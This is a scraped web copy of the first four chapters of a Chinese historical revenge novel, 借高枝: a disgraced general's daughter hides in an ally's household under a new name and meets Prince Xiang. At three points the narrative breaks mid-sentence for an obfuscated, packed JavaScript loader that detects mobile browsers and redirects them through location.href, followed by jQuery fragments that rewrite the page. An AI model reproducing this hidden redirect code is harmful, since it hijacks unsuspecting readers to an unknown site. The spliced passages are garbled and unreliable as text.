《借高枝》 1. 第1章 我名卫翎，会死在今日。 - 黄昏未至，城中就戒起了严，官吏于告示榜匆匆张贴通缉画像，百姓纷纷涌前查看。画中何人？护国大将军卫霆！罪名：通敌。 “昨日卫家军刚凯旋入城，怎今日就判了通敌？” “卫家三代忠良，到了卫霆这反了国？” 金吾卫抓人向来先封锁犯人退路，等官吏入府，逮捕令已经遍布都城，只待瓮中捉鳖。统领携两队精锐破门而入，府内却已人去宅空，独留身披重甲的卫霆倚剑伫立。 晏统领高举金轴，大喊：“卫霆听旨。” 卫霆冷哼一声，便是回应了。 早在回程路上他就收到了好友梅穹的提醒：礼部尚书严晁弹劾他玩忽职守，放走敌将，是为通敌。彼时他回信只写了一句话。日若高悬，月何以乱夜。 ——如无皇上暗许、严晁怎敢在我凯旋立功时发难。如皇上明辨，严晁就掀不起风浪。 一刻钟前，梅穹又派心腹给卫霆通风报信。严晁所呈罪证出自卫霆部下之手，乃卫霆与吐蕃主将的书信来往。 卫霆：“荒唐至极！信中并未提及双方主上！” 事实证明，新帝需要的只是一个罪名，来惩治功高盖主的隐患。卫霆在朝十年，皇帝就位两年，二人交情却有八年，到头来，还是信君有情的人一败涂地。 通缉单满城飘，卫家举族被扣，未明真相的卫翎就被父亲推给梅穹心腹左孑。 “卫将军，你呢？” “既然此难无处避，赌上这条命我也要去问句何罪之有。” “爹爹……”卫翎听出端倪，拽住卫霆的衣袖不让他取壁上剑，年幼的她不懂什么骨气，却深知此剑一出是与皇帝割袍断义。自古忤逆皇室皆不得活。“我们可以避到穷乡僻壤去！” “翎儿，那是为父的另一条死路。” 当时卫翎不懂，活下去怎么变成了死去。后来她懂了，心死志失对她骄傲的父亲而言更严重。 左孑来不及带卫翎走，院墙外便响起阵阵马蹄声。他抱起卫翎跃身上屋顶，俯趴在屋脊之后。他本心慈可亲，现下却满脸肃容地恐吓她：“翎小姐，如你出声会害死卫将军。” 闻言卫翎立马噤声，咬紧牙关。她连头也不敢探，只能盼柏树别受风怂动，盼自己的耳朵更灵敏些。 安州终究是座喧嚣的城。马车轱辘轧过松动石砖，占风铎来回敲击木门，鞋履踏扁杏叶咔咔作响，这些无关紧要的声音在此刻要命地响。使以她听不清来人宣旨，只听到最后扯开嗓的：“通敌，如有反抗，杀无赦！” “哈哈哈……想我卫霆为朝效力近十年，自认这缕忠魂乃洒血战场的兵马所铸，此生长剑只朝城外人，却也有兵刃同僚的时候。” 刀剑铿锵，刺鸣尖叫划破薄冥，血腥味急剧蔓延，将院中桂花的芳香浓郁染了个刺鼻的尾巴。幽香与血腥相逐，桂花树干经血染红前也曾飘香十里。 官吏倒地一半，朱色官服与鲜血叠满鹅卵石，分不清是血是人。卫霆手持双剑，身中数箭，仍挺直如松。他举剑指对面人，挑衅勾唇，血便自嘴角流下。晏统领推开护卫，夺剑走入院。 “卫将军，我可拥有当场处决的权力。如你执意顽抗，就恕在下不顾情面了。” 说罢晏统领跃过扭曲交织的尸体，挥剑砍向他眼中的残将。 卫霆抬眸亮起一双狠厉似屠魔的眼睛，足蹬腾空，抬剑接下这象征决裂的砍招，于空一翻，疾风般落在了晏统领背后。剑环其脖，一抹喷血。 “统领！这……” 连金吾卫统领将军都当场殒命，卫霆已成杀疯了的反贼。众人如此评价他。 落荒而逃的脚步声急促淌过血地，卫翎探出头，在一堆惨烈劫难中寻见卫霆。他拔出胸前箭矢，朝她望来的眼神却那般绝望。 “爹爹……” 卫翎方一起身，又被左孑按下，还被捂住嘴巴。 府门前涌来一批弓箭兵，卫霆转身，左腿右肩同时中箭。他身子微微颤动又立马站定。月影在一片血河中若隐若现，他自己的影子也在血中有了痕迹。 “哈哈哈——”卫霆忽而仰天长叹。 “丹心万蚀难易，君斥薄霜也腐，烹之煎之熬尽江！”卫霆抡剑向脖，笑道：“夫人，我随你来了！” 卫霆挺拔的身躯如伐去的松木，直挺挺地后倒，幽暗庭院发出悲壮的砸地声。箭矢仍争相恐后地扎入血地。哭声无法自喉发出，到了嘴边又被掌心撞回，形成一阵逆流于体内捣鼓，令卫翎直想吐。 她的泪水浸湿了他的身躯，使血迹都被冲刷地模模糊糊，但血还在往外流。她抬手胡乱揉了把眼睛，终于看清留在她壮烈自刎的父亲身上的血渍。 门外弓箭手终于停下，一人上前探息，确认已死大喊结果。几人竟发出了欢呼。卫翎愤恨地盯着他们将父亲的尸体抬走。徒留一院的破碎生命。 马蹄渐渐，卫翎透过层层黛瓦遥望经灰尘裹挟的马车。透过马蹄掀起的浓烟、弥留院内的血腥、镌刻脑海的仇恨……与父叩首永别。复念一遍： “丹心万蚀难易，君斥薄霜也腐。”——万般险阻都改变不了这一腔报国忠胆，独独受不住君上一念负臣节。 “翎小姐……” 左孑轻轻作声。他始终理智阻拦着卫翎，实则自己也已泪流满面。他揽她落地，劝慰她当务之急是逃亡。卫翎往前迈步，奈何双脚发软，晕了过去。 她在颠簸的马车中拾起一缕模糊的意识，以为自己就此踏上了逃亡之路。残酷现实使她坠入梦魇，她反复梦见父亲自刎、血流成河、黄桂晕出鲜红…… 府外灯火通明，橘红灯笼于漫漫夜色中闪烁。失了太阳，自有月亮和油灯，夜从来不是终点，只是一个歇脚时间。 何不逃出去。深知自己在做梦的卫翎道。 如何逃？埋首遍地鲜红的卫翎问。 府门从外拉开，她奔向前，方一迈过门槛又被打了回来。通缉画像自四面八方飞来，在她面前巨象成一堵厚门。 如何逃？画像忽也开口。 “逃……” 卫翎睁开眼，环绕鼻尖的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147820|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清淡的助眠沉香。她对这股味道充满亲切与向往，这只有在梅穹府中才可闻到。她凝神张望，确认自己确实躺在梅府的厢房里。 梅穹与卫霆交好数年，卫霆常年出征，只有家仆相伴的卫翎常被接到梅府来。年纪尚小的卫翎将梅穹说的“这里是她第二个家”当真了，所以听到他要送走她才这般惊慌。 门外人刻意压低了声响，可于寂静深夜依然清晰，交谈人数至少有三、四人，争论要让她往哪边逃、走水路还是陆路。尽管梅穹透露出会关照她的意思，可在被推开的人耳朵里只能听出麻烦。 是的，她是一个麻烦。卫翎很快明白了这点。 城中满是她的通缉令，如果她被抓到就得进大牢、流放、永生回不来都城。可如果他将她留下，梅府上下的命就悬在她一人头上了。 “可是翎儿才满六岁，让她逃亡岂不是放她自生自灭？”说话人是梅穹的夫人虞问青。虞问青出身名门，与梅穹恩爱数年，苦无孕象。待卫翎就如亲生女儿一般。 可以让伯母帮我。卫翎想。她母亲在生她时难产去世了，常从虞问青身上寻求母爱。梅穹踌躇不定，也在于难以舍弃又寻不到契机。 如何能得个两全其美？要我去别处隐姓埋名，为何不能在此隐姓埋名？ 是啊！只要她假装失忆，不再提起卫翎这个身份，躲在后院也可以隐姓埋名。 为了留在距离杀父仇人最近的地方，卫翎将辅国大将军梅穹当作入墙来的高枝。她需得挂上枝头，再借力荡到更高的高枝上。 枫叶飞扬犹似天在下带颜色的雨，洋洋洒洒地铺满小窗。故而屋外人推门进来避雨。走在前头的梅穹领着他的夫人，左孑想是去筹备供她逃亡的船只了。 见她已醒，梅穹连忙走近，问她可有不舒服？虞问青则坐在她床沿边牵她的手，二人均以一副怜爱又疼惜的目光注视着她。盼她说些什么。 “你们是何人？” 卫翎由于清楚自己正在欺骗爱护她的人，她心中升起无尽的羞愧和痛苦，因此她迷乱的表情犹似真正失去记忆的人。 话刚出口就使虞问青花容失色。二人五官像由同一个提偶师傅所操控，同时纠结成了一团。梅穹双眉紧蹙，眼角微微上挑本就显得严厉，当下那副眉眼更是被疑虑缠紧了。 他问：“你忘了我们？可记得你为何人？” 卫翎摇了摇头。她双眼充盈着不敢声张的恐惧，这不是做戏，是真的恐惧，导致她本能地想念母亲：“我娘呢？” 虞问青搭在她手背上的手又一紧，回头与梅穹相视，这个过程持续了足有半刻。卫翎生怕伯母败下阵来，暗中捏紧她的手。 “就按我说的办。”虞问青坚决道。片刻后梅穹才点头。 她揽住卫翎双肩抱入怀，忧伤而温柔地说：“从现在开始我便是你娘！” “娘……”卫翎喃喃道。眼泪随话掉下。 至今，没有卫翎的存在了。卫翎死了，以逃亡路上失足落水的名头。 活下来的是梅倾秋，梅穹与虞问青不被人知的养女。 2. 第2章 暮色低垂，余晖自天边蔓延将屋瓦烫成金棕色，天已无艳霞，成了鱼肚白般的浊白色。 梅倾秋自己爬树上了屋顶，从梅府的屋顶隐约可见卫府老宅。日月更替间的屋檐与梦魇如出一辙，但没有梦里那般血腥可怖，那情景对年尚六岁的女童而言太难适应了。所以她养成了爬屋顶的习惯，见见梦中没有的平静。 红日彻底滑入山丘，屋瓦仅有的亮色也消失殆尽，徒留月华镌刻鸟雀的影子。 她整夜难眠，思忖如何复仇。住进梅府后她食欲不振，郁郁寡欢。母亲虞问青是太医署令的长女，自幼习读医书，精通医理。为梅倾秋把脉也只能道：“心病难用药医。” 若要问梅倾秋身体可有不适，那定是没有的。她面色红润，神清目明，只是小小的心灵塞满了惭愧、自责、复仇。这种情绪在得到父母亲的爱时最为强烈，由于过于感激产生不配得感，她会在翻看医书时叹气，也会在四下无人时哭泣。 这一切梅穹与虞问青看在眼里，疑惑她是否恢复了记忆。但如何询问也只能得到否定的回答。 梅倾秋自然不敢说。她才六岁，怕这个家也要将她抛弃。这个念头推动着她改变，她跟母亲学医、跟父亲学武，才渐渐像一家人。但她与母亲的缘分太短，只维系了四年。 在她十岁那年，虞问青突发恶疾。梅倾秋跪在母亲床前，紧紧握住她的手。父亲坐在床沿边握住她另一只手。 她英气的五官染上层霜似的白，眼睫如浓密柳叶轻轻颤动，遮住明亮似月的眼珠。梅倾秋将这样的母亲深深记在心中，每当思念，每当感到步履维艰，就会仰头望月，圆月时而高悬，时而蒙云，但明了月亮就在那里，就能从这样的母亲身上得到坚定的力量。 “娘……” “秋儿。”母亲拇指轻轻抚弄她的手背，“你聪敏灵慧，对诗文医书过目不忘，我知道你也从未忘记四年前我如此抓紧你的手。那天开始我们成为了母女，我惟愿你永生安康，就在这一隅安宁地自在的活着。但是秋儿，为母已经到了生命……” “问青！”梅穹略显责怪地制止她。似坚信不说出那字，那结果就不会来。 有滴晶莹泪珠被长睫夹在眼角处，虞问青扯唇一笑泪就垂了下来。 “穹哥，问青无法履行白首的约定了。你要好好照顾秋儿……咳咳，在此之前，你可有话问我？我们成为母女之前是怎样的人养育着你？” 梅倾秋缓缓抬起头，内心挣扎，但只说了句：“你们是我的再生父母，知晓此事足矣。” 落在她脸上的表情极为复杂，既欣慰又犹豫。但梅倾秋狠心忽视了这道差点敞开的心墙。四年的岁月更迭，梅穹已经升为正一品太尉，梅倾秋的复仇计划也有了雏形，但在一切实施之前她只能继续扮演失忆。 虞问青临终时传授她一本自编的医书，梅倾秋视若珍宝。每日有一半时间是在药房度过，时常闭关数日，纵是梅穹也请不出来。 直到梅倾秋十六岁，世人已经淡忘卫霆的谋反事件，通缉画像也不再能威胁她的生命，梅穹才同意让她走出梅府。只是连他本人也没想到，他的女儿已经偷摸出门几回了。 秋风萧瑟，午后阳光铺洒脸上却仍显灼热，贩夫走卒或街边闲客都撸高袖，穿单衣。此时出现一个惟帽长至膝的女子，就算见不着纱后的真面貌也都会多看几眼。 “一壶清茶。” 摊主闻声抬头，面前小姐身着翠烟长衫，惟帽白纱经风吹佛，姣好面容若隐若现，一瞧便是名门世家出身。他连声应好，请小姐入座。不料仅有的五张矮桌都满了客。 “无妨，就把茶给我送这来吧。” 说罢小姐随意寻了张桌，同桌的是位体型欣长偏瘦，腰间悬短剑，眉清目秀的公子。 “好嘞，好嘞。” 这条长巷商贩云集，且基本全是老字号摊铺，回本甚微也不闭店，故而又被称百兴巷。百姓们暗中却称是‘奉税巷’。要想在此做生意，要给翊府中郎将交保护费。挨不过恶势力的百姓甚至被迫向钱庄贷钱，利滚利，赚的钱全拿去还贷，还不清又退不掉店。 片刻后摊主端来茶，梅倾秋取下惟帽，先给自己斟上茶，再给递来的酒杯倒满。 “听闻翊府中郎将刚上任不久。” 宁枝将目光从远处收回，举起装着茶的酒杯一饮而尽。道：“新官沉不住气，待其露出马脚就可以顺藤摸瓜了。” “我要的线路图呢？” 宁枝朝她推来一碟蜜饯，梅倾秋扶碟抽出底下的纸条，塞回袖口。 “至少要一个月后这条线才能走。” “我知道了。” “不用急，我会先混进他府上。” “比起这个，你来帮我管理药铺吧？” “药铺？” 梅倾秋微微侧身，伸手向不远处一间大门紧闭的铺面。“我说服父亲盘下了那里，说要开药铺。” 哪怕明知她是醉翁之意不在酒，宁枝还是笑道：“我可不懂药材。” “会提药斗和识字，别抓错药就是。我会教你的。” “那你开我一月多少贯？” 长巷尽头传来一阵急促的马蹄笃笃声，行人纷纷四散为受惊马儿让道。伴随赶马人逐渐提高的嗓音，一名老丈双腿哆嗦倒在了马蹄下方。 宁枝眼疾手快，足下一蹬闪身到老丈面前，黑马被缰绳拉扯着仰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147821|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天长鸣，脚蹄子与宁枝额头只差分毫。见马夫难驭烈马，宁枝掌击马的腕关节，黑马呼呼发气，前臂屈下跪地。 惊闹终停，梅倾秋匆匆上前查看老丈伤势。马车跳下一名着灰黑便装，束高发的佩剑男子。其眼神凌厉，面色不善地瞥了眼为昏迷老丈把脉的梅倾秋，而后将目光转移到宁枝冷漠的脸上。 他丝毫不掩睥睨的神态，极其敷衍地抱拳就是礼数了。道：“这位兄台，我们驭马不当是为过错，但你这般伤我良驹就更不妥了。” “这马确是好马，既能得此马拉‘货’，定是达官显贵了。怎吓晕了百姓也不作歉？” “放肆！你可知厢中何人！竟敢如此揶揄。” 宁枝加大嗓：“我不知，你大可说出来让父老乡亲们都听听！” 梅倾秋用大拇指顶在老丈的人中穴上，用力掐按。很快老丈脑袋颤动醒了过来。路人好心递来水袋。 看热闹的人们将他们团团围住，七嘴八舌开始讨论马车里是什么人。有人两手一拍认出了男子，说他名傅雁，是二皇子身边的人。现应改唤襄王了。二皇子李秉昶刚被册封为王，但留驻安州，无封地。 “原是襄王的人，怪不得……” “宁枝。” 宁枝闻声咽回了一口气，双手抱胸偏向梅倾秋。 老丈已神清智明，无大碍。梅倾秋便走到马儿旁，伸手轻按了按黑马前臂，以吟鸣深浅来判断伤处。这点小伤对训练有素的战马而言不过挠痒痒。 她了然于心起身，道：“我兄长性子直率但绝无恶意，事况紧急才无奈出手。我查看了一番，马儿伤势不重主在腕关节，如公子信得过小女子，有样草药可以调养恢复。” 傅雁将她上下打量一番，许是没料到这对兄妹秉性如此相异，没好气道：“你是大夫？” “不敢当，只是略识医术。” “咳——” 马车车厢传出一声健朗的咳音。明显的虚张声势。 傅雁靠近车门，与厢内人说了几句话。蔫蔫地走回到梅倾秋面前：“算了。我们王府自有驯马和疗伤的，看在姑娘知情达理的份上我就不与你兄长计较了。” 宁枝不作声翻了个白眼。 “告辞。” 说罢傅雁让身到马车一旁，没再进车厢。 马夫轻拉缰绳，黑马缓慢走了起来。车轱辘咔哒滚动，窗幔由折扇掀开一角，先是血管分明的指关节到手背，再是绣有暗纹的靛蓝衫，最后是经锦布分割的半张脸。眉浓眸深，神闲气定，但目似利剑出鞘，难久相望。 梅倾秋抬眸与他相视几秒，直至马车平移离去。折扇回收。 这就是襄王。她想。 3. 第3章 当今圣上有四子一女，长子李秉昱为太子、二子李秉昶封襄王、三子李秉旸封燕王，驻燕国、公主李堇婳与六子李秉暻尚幼，无封号。（五皇子夭折） 皇室子弟中，襄王李秉昶在民间的流传度遥遥领先。世人谈起襄王皆道玉树临风，德才兼备。甫一上政就提出造船重水路，为水域边防构筑了结实后盾。另一方面说服皇帝减税恤贫，减轻了百姓一半的赋税压力，因此收获大批民心。 就在百姓们津津乐道二皇子宅心仁厚，乃太子不二人选之时，大皇子被册封为太子。而二皇子时隔两年才被封为襄王。 起初诸多百姓为其鸣不平，但也时不过三月。耳听八方的百姓们逐渐明白了，襄王智勇双全但无心天下。曾有人看见他出入长桂里。 一传十十传百，人人言之凿凿地说襄王爱与文人们混在一块。自此他又得了个儒雅王爷的称号。此儒雅贬义远大于褒义，旨在暗讽他玩世不羁。至于他是否真去过长桂里已经不重要了，就是他真出现了，恐怕也没人能认出他的模样。 长桂里是文人墨客聚集的地方，他们乐意在那讨论诗词歌赋，再现场给对方出难题，来决定谁付酒钱。 文人遍世难出头，只话皆浊我独清——此言中伤了不少赶考上榜的官老爷。认为这批穷书生是胸无大志，难上青天，才讽刺文官追名逐利。长桂里便从文人雅居被扭曲成了征逐酒色，生活糜烂的酒馆。 品行不端之人才会前往，成了刻板印象。 长桂里沿湖而建，枯黄荷叶斜斜低垂，细枝难以支撑似的飘荡，犹如风雨中摇摆的斗笠。 墨色长袍随风拂打栈道木桩，男子打发随从拉马，而后穿过木栈进入荷亭，随意寻了个边桌落座。亭内文人们正在举杯高诗，所叙似乎就是枯荷。 小二送上一壶清茶、一盘茶点，邻桌男子侧目一瞥，提着酒壶前来并桌。白袖摆动招呼小二再上一壶。 许骄松给两个酒杯斟满，自顾自一饮而尽，目光不离簇拥着的书生们。他们双双站立在窗前，指摘湖面。 “我以为你不来了。” “甩开眼线费了点时间。”李秉昶答完啜饮一口杯中酒。 “二位客官，酒来了。”小二将瓷瓶放上桌，转身去给别桌上菜了。 “最紧要的还没除掉呢。”许骄松斜睨岸边等候的侍从。 “急不得。毕竟是太子拨来的人。” “傅雁……他兄长傅骢就是太子心腹吧？” “是他。” 李秉昶手搭桌沿，手指抵住纸函抽回袖。许骄松拨过打开，里含三张肖像画，右上角标记名字官职。 “严山。我父亲的学生任此次科举主司，与我提过这人的文章，‘滴水不漏’他说。” “死记硬背了篇标准答案，会试却一塌糊涂。最终还是被保了进士。” “还是严晁？” “是严晁的侄子。” 许骄松将肖像捏揉，嫌恶地塞进自己袖口。怒道：“严晁老贼！” 严晁刚任官时也曾是许骄松父亲的学生。 “嘘。”李秉昶确认一遍四周无人探耳，“他根深位牢，一下拔不起，多抓住几根须尾巴就是了。” 亭内寥寥几桌均以飘布相隔，一方面是故弄玄虚，想营造与世隔绝的美感。一方面充当的是官家子弟的遮羞布。这类人最在意世俗眼光，躲在飘布之后释放天性。掀开来又拿起判笔，贬低曾经的自己。 李秉昶耳朵捕捉到一缕陌生声线，透过朦胧青纱看持扇的男子。 那男子肤色白皙，玉冠乌发，折扇贴着巧手轻晃。身姿隽雅，出腔却激昂。李秉昶听了片刻，听出他们争执的点了。 文人们酒尽意满，畅言解析荷叶难登大雅的缘由。批其：秋谢冬枯，焦瘦无形，毁清湖。 面生公子则道：荷叶立时飞香，垂首愈称秋成，再见已是冰中艳苗。 长桂里看似海纳贤才，实则却恰恰相反，常客之间汇聚一派，左右逢源早成铁律，抱团逐贤亦为常事。何况是一介稚气公子哥。 一人上前：“时长花短，不敌兰芳不胜菊，还倚蜻蜓得碧天。” 他以扇掩笑，娓娓而谈：“春时绿荷晴染江，夏至花开载露香。秋来残荷应阳语，冬尽冻湖留璨影。” 高发尾随腔悠然回旋，他成竹在胸傲视众人，不时侧身送来意味深长的目光。李秉昶直面这副脸庞，感到似曾相识。青纱如同毛笔涂画他那灰白长衫，脑中身影跃然与其相叠，他不慎发出轻笑。 许骄松不解地问因何发笑？ 李秉昶只道：“舌辩群雄，胆识过人。” 彼时只是隔幔相望，已令他记忆深刻。女子身着青衫，手取帏帽，青丝箍木钗，珠玉不及眸明。逼停车马援弱士的识医女子，摇身一变成了字字珠玑的潇洒君子。 李秉昶掀开眼前飘布，久久凝视。 坊间传闻襄王痴迷作诗、敬爱文人，乃不实谣言。到此不过为了掩人耳目，鱼龙混杂有助他与友人相聚，他从未掀开此布发言。就连那条进出长桂里的消息也是他故意散播的。现下忽起玩心，想着让谣言成真也无妨。 他破天荒地发了言。惹得许骄松都吃了一惊。 “荷江两相依，香去形难销。春去荷灭也，此景为雾幻？”——自古荷叶江水相伴，纵是枯萎无香也亭亭玉立。如果说春季过了荷叶就陨了，那当下供你们吟诗发挥的荷景难不成是幻觉？ 众士面面相觑，哑口无言。许骄松适时开腔舒缓氛围，才令较真书生们悻悻作罢。 梅倾秋不知被人识破了女儿身，她强撑起男子仪态，面带微笑朝他走去。抵拳颔首，道：“在下秋生。多谢公子出口相援。” 而早已看穿的李秉昶待她说完抬头，才笑道：“相遇即友，我也确实与公子所见略同。秋公子如不嫌弃请受我一杯浊酒。” 秋生爽快应好便落座，李秉昶取一净杯斟酒。 “对了，在下李秉昶。” “秉昶……” 许骄松本就对这冒进少年持警惕的态度，不成想襄王本人如此易信，一时竟没看住这祖宗的嘴巴。 李秉昶与许骄松相视，示意无碍。许骄松见状长呼出一口气，目光重移向秋生，似在暗叹此人有什么独特的。 “哈哈哈……”秋生手持折扇连拍掌心，笑声不大，倒与扇声节奏相应。“我知道了，这位公子是信不过秋某，认为我会将襄王爷的行迹捅出去！” 她目光在李秉昶与许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147822|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骄松脸上来回，手一挥颇负气概：“我秋生可以向天作誓，断不是弃情舍义之徒。襄王如何都不会是从我口中道出。” “秋公子言重了。我既邀你入座，便是信得过你。安行只是性格谨慎，并无恶意。” 许骄松握拳向秋生赔了个礼：“失礼了秋公子。在下许骄松，字安行。” “宰相之子，当朝御史中丞。”她接过话。 李秉昶与许骄松又交换了一个眼神，李秉昶疑惑：“你向来了解朝廷人员？” “两位声名在外，只要在安州住上半载都不会对这两个名字陌生的。再者，王爷虽有心低调，穿了身简朴便衣出行，但衣裳料子光是外袍就可以买下长桂里。是王爷与生俱来的高贵让在下心中有数了。” “秋公子果然巧舌如簧。” 三人闲谈半晌，意气相投。李秉昶并无劝酒，倒是她自己直想灌醉他。许骄松不善饮酒，三壶酒尽是他二人饮尽的。 “秋公子酒量，量如江海啊。” 秋生双颊微染酒晕，胜似胭脂。眼皮低垂令睫毛看上去既密又长，乌发也不甘落后地耷拉在耳朵上。她似有了醉意，双手握住折扇立在桌上，下巴则隔在拳头上。 “王爷。”她轻唤。 李秉昶静待她说完要说的话。伸手自酒杯捞起一缕秀发，两指捻干。 二人对望，各怀鬼胎。 秋生朦胧的眼神过渡为犀利，唇瓣微张又因许骄松的脚步声合了回去。许骄松在旁说着天色已晚，该回去了。李秉昶眼睛眨也不眨地盯着她。 本就装醉的人是真如坐针毡了。未免致其多疑，她硬着头皮道：“二位下次来可否给我留个酒杯？” 闻言许骄松扑哧发笑。李秉昶松开了那缕发，若有所思道：“你似乎并不觉得皇室宗亲骇人。” “不论是二皇子还是襄王都能让大地抖三抖，这样的大人物与我如此契合，我能吹十年！” 装腔扮男的古怪声线与夸张表情相搭，格外逗趣。李秉昶每每想起都不禁失笑。 “你真信赖那人？”许骄松确认傅雁骑马有了段距离，放下窗幔问道。 “她何处让你认为是奸细？” “说不上来，但他太油嘴滑舌了。” “哈哈……正是狡猾才有趣。” 另一边的秋生——梅倾秋——叩响药铺门。门咿呀着朝里打开，她偏身钻了进去。 宁枝：“你可见到他了？” 梅倾秋点头应是，将折扇搁在桌上。 “但有点奇怪……” 她想，襄王不该是这么容易对付的角色。 “倾秋，你不是让我调查李秉昶吗？” “打听到什么消息了？” “坊间虽传李秉昶重文轻武，无缘太子位后就无心朝政，但实际上他曾暗中随梅大人远征。” “我父亲？” 宁枝表示肯定：“军功政务皆无落下，在几兄弟之中最有政绩，却最不受宠。无论是与长兄太子相比，还是与拥有兵权封地的弟弟燕王。而燕王自小就与太子要好。” 梅倾秋：“如果此消息属实，那是他在隐藏实力了。” 李秉昶：“赌一把，她与我是不是同一种人。” 4. 第 4 章 梅府后门咿呀作响，半张脸挣出门缝，梅倾秋双眼滴溜转动，未见端倪才整个人钻过缝隙。 她已然换回女装，但黄花闺女夜里二更方返，且酒味弥漫，如被家父逮住定要受禁足之罚的。 “小姐……” 溜进耳畔的女声绵软阴森，梅倾秋心中一颤差点以为自己推开了聊斋的门。她惊魂未定地按着胸口，嗔怪瞧着面前的阿矜。阿矜是她的贴身侍女。 “嘘……父亲可有寻我？” 梅倾秋蹑手蹑脚地移动。 “老爷晚膳时有问起小姐，我说你托人捎来口信，药铺要晚些关门。”阿矜随她穿过庭院，“现下与左大人在书房议事。” “至今？左叔何时来的？” “约莫半个时辰前。” 梅倾秋站定思忖着什么，阿矜在侧询问是否准备沐浴，梅倾秋心不在焉应了声好。 书房内。毛笔于宣纸上肆意横纵，笔尖斜行而勾，字立笔移，留下‘道’字。 梅穹搁回毛笔，笔架旁摊着拆开的信函。这封无署名的信早在他进屋前就被飞镖牢牢扎在桌上了。 “大人可信此函？”左孑终于开声问。 “杜撰往往建议在陈述之上。这封信既然落到我这，相较于内容的真假，更深的意图恐怕在于确认我的党派。” 梅穹将墨干的道字翻面朝下，重拾起毛笔。左孑靠上前磨墨。 “行动便与太子为敌，反之就是拥立……” 笔尖重压，一撇过粗，梅穹兴致去了大半，干脆放下笔走出书案。 纸上残留只差一笔的‘真’字。 左孑跟在后面：“难不成是太子设的局？” “也不尽然。撰信人应是反太子继位的……总之，这事我们都该查一查。” “明白，我这就去准备。” 左孑刚迈开几步，又被梅穹叫停。 “秋儿的药铺开张数日了，可还顺当？” “前几日小姐为了济贫免费赠药，日落金山了还能见着门板上的人影。今日正常经营少了排队领药的，但也算打响了铺号。” “十年来秋儿深藏简出，而今女大十八变终于摆脱罪犯之嫌。”梅穹长吁一口气，抬眼望月：“自颖，保佑她平安吧。” 数日后。 隆冬雪至，轻飘飘的雪花铺陈山丘树梢，经风一吹淅淅沥沥地盖在石砖路上，旭日东升又悄无声息地融化了。 这时街道上湿润阴冷，无需过于拉紧缰绳，马儿自个就会疾跑起来。雪刚融化的地面凉得很。 小白马驰骋过林径小道，马背上的人一拉缰绳：“吁——”白马停在长桂里栈桥前。 梅倾秋翻身下马，揉了揉小白马的脸，从背囊取出浸过盐的干草喂它。 稍远处，阵阵马蹄鼓动风声翻涌，马背上男子长衫为青蓝色，袖摆绣青白相间的竹叶，仿佛是被沾雪的树梢描上去的。 “吁——” 李秉昶勒停黑马，黑马又走了几步靠近小白马。 梅倾秋分一半干草喂黑马，心直口快说了句：“你的脚伤好啦！” “秋公子何时见过我的马？” 闻言她神情凝滞，反应过来自己说漏了嘴，光顾着找补，竟没注意对方正饶有兴致的暗笑。 “我看这马品相上等，前臂微有伤痕，才猜测兴许挨过伤。” “噢？”李秉昶当真俯身去瞧，盯了好一会儿才从黑黢黢的马蹄子收回视线。“我没看出来。” 梅倾秋语塞，含糊着：“那是我看偏了眼。” 他笑而不语。 碰头地点于长桂里，所要去往的地方却在相反方向。 二人翻身上马，临去前李秉昶交代等候的随从不必跟着。梅倾秋这才知道，初遇时与宁枝发生争执的男子并非襄王心腹。 黑白双马驮人横跨草原，沿山路蜿蜒向上。旭日当空，纵马奔腾的人被晒得浑身暖烘烘，拉扯缰绳的手甚至浸出了汗。 他们自山顶俯瞰整个国度，黛瓦层层相叠，河流潺潺与丛林相贴，马驴皆比人形壮大，人如豆子一般。 “那处是邻县——东阳县——管辖的地界吧。” 李秉昶抬起下巴，点了点远处灰不溜秋的位置。 梅倾秋轻拉马疆往前两步。 “是了，东阳县的一个小村落，上礼拜惨遭悍匪入室抢劫，几户人家都被放火烧塌了。” “自安州前往，马程不过两日，可见受命前往的督尉已耽搁了五日。” 李秉昶心中记下了，拉紧缰绳掉转马头，梅倾秋忽而开腔： “王爷，我昨夜做了个荒唐梦。” “何梦？” “你可去过酒楼风正堂？” 见李秉昶无言摇头，梅倾秋将捏造好的梦境娓娓道来。 “风正堂建在安州商贾云集的长巷尽头。昔日人山人海的街道在梦中却变了样，见不着一个人影。乍眼望去尽是两足行走的马、兔子、狐狸，我就想这光怪陆离的，是人都灭绝了吗？ 然后我听到戏腔和锣击，我循声到风正堂里去，终于看见人随琴舞动的身姿，戏台上有美人也有俊男，但被脚镣所拷。坐在底下的看客却仍是畜牲。 